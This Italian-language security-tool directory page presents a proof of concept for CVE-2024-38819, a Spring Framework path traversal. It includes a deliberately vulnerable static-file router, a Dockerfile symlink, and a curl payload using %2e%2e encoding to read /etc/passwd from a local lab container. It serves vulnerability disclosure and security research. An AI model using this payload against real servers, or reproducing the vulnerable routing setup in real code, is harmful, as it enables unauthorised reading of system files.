Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-38819-POC2 | Kitploit
Strumenti/GitHubGitHub/vishalnoza/cve-2024-38819-poc2
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubvishalnoza/cve-2024-38819-poc2

CVE-2024-38819-POC2

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-38819: Proof of Concept (PoC)

Questa è una proof of concept per la vulnerabilità CVE-2024-38819, da me segnalata, che dimostra uno sfruttamento di path traversal.

Passaggi di esecuzione

  1. Costruisci l'immagine Docker (Spring Boot 3.3.4, basato su Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38819-poc .
    
  2. Esegui il container ed esponi la porta 8080 alla macchina host

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
    
  3. Esegui il seguente comando per lanciare il PoC e confermare la vulnerabilità

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se l'attacco ha successo, verrà mostrato il contenuto del file /etc/passwd.

Spiegazione

  1. Crea PathTraversalDemoApplication.java con il seguente codice per configurare il routing di file statici usando RouterFunction e FileSystemResource:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Aggiungi il seguente comando al Dockerfile per creare un link simbolico:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. Crea un payload che sfrutta la percent-encoding per attraversare le directory tramite il link simbolico.

    • Percorso: /static/link/%2e%2e/etc/passwd
  4. Usa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se l'attacco ha successo, verrà mostrato il contenuto del file /etc/passwd.

Disclaimer

Questo PoC è fornito a scopo educativo e di ricerca sulla sicurezza. Prima di utilizzarlo su un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la dovuta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.

Scarica lo strumento